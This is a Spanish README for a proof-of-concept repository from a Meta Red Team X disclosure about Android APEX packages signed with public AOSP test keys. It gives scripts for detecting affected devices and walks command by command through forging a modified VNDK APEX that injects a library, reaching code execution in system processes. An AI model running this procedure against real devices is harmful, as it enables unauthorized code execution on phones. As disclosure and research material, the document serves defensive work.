
Código de prueba de concepto para la vulnerabilidad de reutilización de claves APEX de Android
Este repositorio se proporciona TAL CUAL para acompañar una divulgación de vulnerabilidad de Meta Red Team X. No es un proyecto oficial de Meta y no recibirá soporte como tal.
Un conjunto de scripts y artefactos que demuestran la detección y explotación de dispositivos Android que incluyen APEXes firmados con claves de prueba de AOSP. Consulta nuestra publicación en el blog "Firmas ausentes: cómo varias marcas olvidaron asegurar una pieza clave de Android" para obtener todos los detalles del problema.
apex-checker/: Un conjunto de scripts de Bash para guardar resúmenes de claves de prueba conocidas y comprobar APEXes en masa en busca de firmas de esas claves.apex-forger/: Wrappers ligeros alrededor de las herramientas apexer y deapexer de AOSP que facilitan desempaquetar, modificar y reempaquetar un APEX. Como apktool para APEXes.vndk-libt/: Código fuente de una librería que añadimos a un APEX vulnerable para demostrar que podemos lograr la ejecución de código. Todo lo que hace es imprimir la línea de comandos de cada proceso que la carga en logcat.m apexer deapexer apksigner para compilar las herramientas necesarias.envsetup.sh (el que está aquí, no el de AOSP) para que $AOSP y $ANDROID_HOST_OUT apunten a las ubicaciones apropiadas.adb shell getprop ro.build.version.sdk y adb shell getprop ro.vndk.version.adb pull /system/apex/com.android.vndk.current.apex vndk.apex. Si no, adb pull /system_ext/apex/com.android.vndk.v<NN>.apex vndk.apex, donde <NN> es ro.vndk.version.apex-checker/check.sh vndk.apex. Si la salida no comienza con "OI" (lo que indica que tanto la firma externa como la interna provienen de claves de prueba), este PoC no se puede utilizar (aunque eso no garantiza que el dispositivo sea seguro, ya que otros APEXes podrían seguir siendo vulnerables).Los hashes en apex-checker/apk-keys.txt y apex-checker/avb-keys.txt corresponden a las claves de prueba externas e internas de los siguientes APEXes. Ten en cuenta que también existen variantes -goog de esas dos listas, creadas por Google después de nuestro informe inicial. Esas listas son en general más completas, pero no sabemos exactamente qué claves contienen.
apex-forger/unpack.sh vndk.apex vndk.libutils.so en el APEX extraído para que cargue nuestro libt.so inyectado: git apply --directory=vndk vndk-libt/libutils-v31.patch. Si eso no funciona (p. ej., una versión de VNDK diferente), usa un editor hexadecimal para cambiar manualmente libc.so a libt.so en el DT_NEEDED correspondiente de vndk/payload/lib64/libutils.so.libt.so ejecutando ndk-build dentro de vndk-libt/. Copia vndk-libt/libs/arm64-v8a/libt.so en vndk/payload/lib64/libt.so.canned_fs_config de apex_build_info.bp. No hay ninguna herramienta que haga esto fácilmente: lo más parecido es protoc --decode_raw <vndk/apex_build_info.bp seguido de desescapar manualmente el campo #3. Coloca canned_fs_config en vndk/.canned_fs_config, como todas las demás, para /lib64/libt.so.apex-forger/repack.sh vndk com.android.vndk.v<NN>.{pem,pubkey,pk8,x509.pem}.adb install vndk/forged.apex.adb reboot && adb logcat -s RTXPoC:D.RTXPoC, cada uno desde un proceso en el que podemos ejecutar código.